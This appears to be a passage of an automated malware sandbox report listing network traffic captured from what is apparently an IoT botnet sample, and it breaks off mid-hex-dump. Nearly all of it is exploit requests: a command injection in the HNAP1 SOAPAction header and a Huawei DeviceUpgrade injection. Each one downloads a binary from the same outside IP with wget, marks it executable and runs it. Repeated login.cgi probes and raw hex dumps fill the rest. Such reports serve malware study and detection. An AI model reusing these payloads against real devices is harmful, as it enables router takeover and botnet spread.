Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 36 2e 31 39 2e 31 34 31 2e 31 32 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 46.19.141.122 -l /tmp/.oxy -r /bins/mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 